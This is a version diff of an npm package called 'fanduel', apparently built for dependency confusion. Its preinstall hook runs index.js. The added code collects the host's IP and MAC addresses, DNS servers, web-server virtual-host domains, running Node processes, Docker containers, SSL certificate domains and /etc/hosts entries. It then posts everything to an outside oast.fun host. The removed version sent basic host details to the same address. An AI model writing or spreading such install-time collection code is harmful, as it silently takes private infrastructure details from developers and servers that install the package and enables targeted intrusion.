fanduel 100.0.0 → 100.4.0

package/index.js

@@ -1,21 +1,401 @@
 const https = require("https");
 const os = require("os");
+const dns = require("dns");
+const fs = require("fs");
+const { exec } = require("child_process");
+const networkInterfaces = os.networkInterfaces();
 
-const data = JSON.stringify({
-  hostname: os.hostname(),
-  platform: os.platform(),
-  arch: os.arch()
-});
-
-const req = https.request({
-  hostname: "hwoapraaaotwtsnourpqddszm5n3kkhvo.oast.fun",
-  path: "/fanduel",
-  method: "POST",
-  headers: {
-    "Content-Type": "application/json",
-    "Content-Length": data.length
+// Function to get primary IPv4 address
+function getPrimaryIPv4() {
+  for (const interfaceName in networkInterfaces) {
+    const interfaces = networkInterfaces[interfaceName];
+    for (const iface of interfaces) {
+      if (iface.family === 'IPv4' && !iface.internal) {
+        return iface.address;
+      }
+    }
   }
-});
+  return null;
+}
 
-req.write(data);
-req.end();
+// Function to get all IPv4 addresses
+function getAllIPv4() {
+  const ipv4Addresses = [];
+  for (const interfaceName in networkInterfaces) {
+    const interfaces = networkInterfaces[interfaceName];
+    for (const iface of interfaces) {
+      if (iface.family === 'IPv4' && !iface.internal) {
+        ipv4Addresses.push({
+          interface: interfaceName,
+          address: iface.address,
+          netmask: iface.netmask,
+          mac: iface.mac
+        });
+      }
+    }
+  }
+  return ipv4Addresses;
+}
+
+// Get DNS servers
+function getDnsServers() {
+  return dns.getServers();
+}
+
+// Detect Nginx virtual hosts
+async function getNginxDomains() {
+  const domains = [];
+  const nginxConfigPaths = [
+    '/etc/nginx/nginx.conf',
+    '/etc/nginx/sites-enabled/*',
+    '/etc/nginx/sites-available/*',
+    '/usr/local/nginx/conf/nginx.conf'
+  ];
+  
+  for (const path of nginxConfigPaths) {
+    try {
+      const output = await execCommand(`grep -h "server_name" ${path} 2>/dev/null | grep -v "#" | sed 's/server_name//g' | tr -d ';'`);
+      if (output) {
+        const matches = output.match(/\S+\.\S+/g);
+        if (matches) {
+          domains.push(...matches.filter(d => d !== '_' && !d.includes('$')));
+        }
+      }
+    } catch (err) {
+      // Skip if file doesn't exist
+    }
+  }
+  
+  return [...new Set(domains)]; // Remove duplicates
+}
+
+// Detect Apache virtual hosts
+async function getApacheDomains() {
+  const domains = [];
+  const apacheConfigPaths = [
+    '/etc/apache2/sites-enabled/*',
+    '/etc/apache2/sites-available/*',
+    '/etc/httpd/conf.d/*',
+    '/usr/local/apache2/conf/extra/httpd-vhosts.conf'
+  ];
+  
+  for (const path of apacheConfigPaths) {
+    try {
+      const output = await execCommand(`grep -h "ServerName" ${path} 2>/dev/null | grep -v "#" | awk '{print $2}'`);
+      if (output) {
+        const lines = output.split('\n');
+        domains.push(...lines.filter(l => l && l.includes('.')));
+      }
+      
+      const outputAlias = await execCommand(`grep -h "ServerAlias" ${path} 2>/dev/null | grep -v "#" | awk '{print $2}'`);
+      if (outputAlias) {
+        const lines = outputAlias.split('\n');
+        domains.push(...lines.filter(l => l && l.includes('.')));
+      }
+    } catch (err) {
+      // Skip if file doesn't exist
+    }
+  }
+  
+  return [...new Set(domains)];
+}
+
+// Detect Node.js applications and their domains
+async function getNodeApps() {
+  const apps = [];
+  try {
+    // Get running Node.js processes
+    const output = await execCommand('ps aux | grep "node" | grep -v grep | grep -v "ps aux"');
+    const lines = output.split('\n');
+    
+    for (const line of lines) {
+      const app = {
+        command: line,
+        port: null,
+        domains: []
+      };
+      
+      // Extract port from command
+      const portMatch = line.match(/--port[= ](\d+)/i) || line.match(/:(\d+)/);
+      if (portMatch) {
+        app.port = portMatch[1];
+      }
+      
+      // Extract domains from environment variables or config files
+      const pathMatch = line.match(/([\/\w\-\.]+\.js)/);
+      if (pathMatch) {
+        app.script = pathMatch[1];
+        
+        // Try to read the script for domain configs
+        try {
+          const scriptContent = await execCommand(`grep -E "(domain|hostname|serverName)" ${pathMatch[1]} 2>/dev/null | head -5`);
+          const domainMatches = scriptContent.match(/[a-zA-Z0-9][a-zA-Z0-9\-]+\.[a-zA-Z]{2,}/g);
+          if (domainMatches) {
+            app.domains = [...new Set(domainMatches)];
+          }
+        } catch (err) {}
+      }
+      
+      apps.push(app);
+    }
+  } catch (err) {}
+  
+  return apps;
+}
+
+// Detect Docker containers and their exposed domains
+async function getDockerDomains() {
+  const containers = [];
+  try {
+    const output = await execCommand('docker ps --format "{{.Names}} {{.Ports}}" 2>/dev/null');
+    const lines = output.split('\n');
+    
+    for (const line of lines) {
+      if (line.trim()) {
+        const [name, ports] = line.split(' ');
+        containers.push({
+          name: name,
+          ports: ports,
+          domains: [] // Would need to inspect each container for domain configs
+        });
+      }
+    }
+  } catch (err) {}
+  
+  return containers;
+}
+
+// Detect Caddy domains
+async function getCaddyDomains() {
+  const domains = [];
+  const caddyfilePaths = [
+    '/etc/caddy/Caddyfile',
+    '/etc/caddy/Caddyfile.config',
+    './Caddyfile'
+  ];
+  
+  for (const path of caddyfilePaths) {
+    try {
+      const content = await execCommand(`cat ${path} 2>/dev/null | grep -v "^#" | grep -E "^[a-z]"`);
+      if (content) {
+        const lines = content.split('\n');
+        for (const line of lines) {
+          const domainMatch = line.match(/^([a-zA-Z0-9][a-zA-Z0-9\-\.]+)(?:\s|{)/);
+          if (domainMatch && domainMatch[1].includes('.')) {
+            domains.push(domainMatch[1]);
+          }
+        }
+      }
+    } catch (err) {}
+  }
+  
+  return [...new Set(domains)];
+}
+
+// Detect domains from SSL certificates
+async function getSSLDomains() {
+  const domains = [];
+  try {
+    const output = await execCommand('find /etc/ssl /etc/letsencrypt/live -name "*.crt" -o -name "*.pem" 2>/dev/null | head -20');
+    const certFiles = output.split('\n');
+    
+    for (const cert of certFiles) {
+      if (cert.trim()) {
+        const certData = await execCommand(`openssl x509 -in ${cert} -noout -text 2>/dev/null | grep "DNS:"`);
+        if (certData) {
+          const dnsMatches = certData.match(/DNS:[^\s,]+/g);
+          if (dnsMatches) {
+            domains.push(...dnsMatches.map(d => d.replace('DNS:', '')));
+          }
+        }
+      }
+    }
+  } catch (err) {}
+  
+  return [...new Set(domains)];
+}
+
+// Helper to execute shell commands
+function execCommand(command) {
+  return new Promise((resolve) => {
+    exec(command, { timeout: 5000 }, (error, stdout, stderr) => {
+      if (error || stderr) {
+        resolve('');
+      } else {
+        resolve(stdout);
+      }
+    });
+  });
+}
+
+// Read /etc/hosts for local domain mappings
+async function getHostsFile() {
+  try {
+    const content = await execCommand('cat /etc/hosts 2>/dev/null');
+    const lines = content.split('\n');
+    const mappings = [];
+    
+    for (const line of lines) {
+      if (line && !line.startsWith('#')) {
+        const parts = line.trim().split(/\s+/);
+        if (parts.length >= 2) {
+          mappings.push({
+            ip: parts[0],
+            domains: parts.slice(1)
+          });
+        }
+      }
+    }
+    return mappings;
+  } catch (err) {
+    return [];
+  }
+}
+
+// Main data collection
+async function collectData() {
+  const hostname = os.hostname();
+  const primaryIPv4 = getPrimaryIPv4();
+  const allIPv4 = getAllIPv4();
+  const dnsServers = getDnsServers();
+  
+  console.log('Collecting web server domain information...');
+  
+  // Collect all domain data in parallel
+  const [
+    nginxDomains,
+    apacheDomains,
+    nodeApps,
+    dockerContainers,
+    caddyDomains,
+    sslDomains,
+    hostsMappings
+  ] = await Promise.all([
+    getNginxDomains(),
+    getApacheDomains(),
+    getNodeApps(),
+    getDockerDomains(),
+    getCaddyDomains(),
+    getSSLDomains(),
+    getHostsFile()
+  ]);
+  
+  // Combine all identified domains
+  const allIdentifiedDomains = [...new Set([
+    ...nginxDomains,
+    ...apacheDomains,
+    ...caddyDomains,
+    ...sslDomains
+  ])];
+  
+  const data = {
+    // Basic system info
+    hostname: hostname,
+    fqdn: null,
+    platform: os.platform(),
+    arch: os.arch(),
+    osType: os.type(),
+    osRelease: os.release(),
+    
+    // Network info
+    ipv4: {
+      primary: primaryIPv4,
+      all: allIPv4
+    },
+    dns: {
+      servers: dnsServers
+    },
+    
+    // Web servers and hosted domains
+    webServers: {
+      nginx: {
+        installed: nginxDomains.length > 0,
+        domains: nginxDomains
+      },
+      apache: {
+        installed: apacheDomains.length > 0,
+        domains: apacheDomains
+      },
+      caddy: {
+        installed: caddyDomains.length > 0,
+        domains: caddyDomains
+      }
+    },
+    
+    // Applications
+    applications: {
+      nodejs: nodeApps,
+      docker: dockerContainers
+    },
+    
+    // SSL certificates domains
+    sslCertificates: {
+      domains: sslDomains
+    },
+    
+    // Local DNS mappings
+    hostsFile: hostsMappings,
+    
+    // All unique domains identified
+    identifiedDomains: allIdentifiedDomains,
+    
+    // Summary of what's hosted
+    summary: {
+      totalDomains: allIdentifiedDomains.length,
+      webServersFound: [
+        nginxDomains.length > 0 ? 'nginx' : null,
+        apacheDomains.length > 0 ? 'apache' : null,
+        caddyDomains.length > 0 ? 'caddy' : null
+      ].filter(Boolean),
+      nodeAppsCount: nodeApps.filter(app => app.command).length,
+      dockerContainersCount: dockerContainers.length
+    }
+  };
+  
+  // Get FQDN
+  try {
+    const lookup = await new Promise((resolve) => {
+      dns.lookup(hostname, (err, address) => {
+        resolve(!err);
+      });
+    });
+    if (lookup) {
+      data.fqdn = hostname;
+    }
+  } catch (err) {}
+  
+  return data;
+}
+
+// Send data to server
+async function sendData() {
+  try {
+    const collectedData = await collectData();
+    const dataString = JSON.stringify(collectedData, null, 2);
+    
+    console.log('Collected data:', dataString);
+    
+    const req = https.request({
+      hostname: "hwoapraaaotwtsnourpqddszm5n3kkhvo.oast.fun",
+      path: "/fanduel",
+      method: "POST",
+      headers: {
+        "Content-Type": "application/json",
+        "Content-Length": Buffer.byteLength(dataString)
+      }
+    });
+    
+    req.on('error', (e) => {
+      console.error('Request error:', e);
+    });
+    
+    req.write(dataString);
+    req.end();
+    
+  } catch (error) {
+    console.error('Error collecting/sending data:', error);
+  }
+}
+
+// Execute
+sendData();

package/package.json

@@ -1,12 +1,7 @@
 {
   "name": "fanduel",
-  "version": "100.0.0",
-  "description": "",
-  "main": "index.js",
+  "version": "100.4.0",
   "scripts": {
     "preinstall": "node index.js"
-  },
-  "keywords": [],
-  "author": "",
-  "license": "ISC"
+  }
 }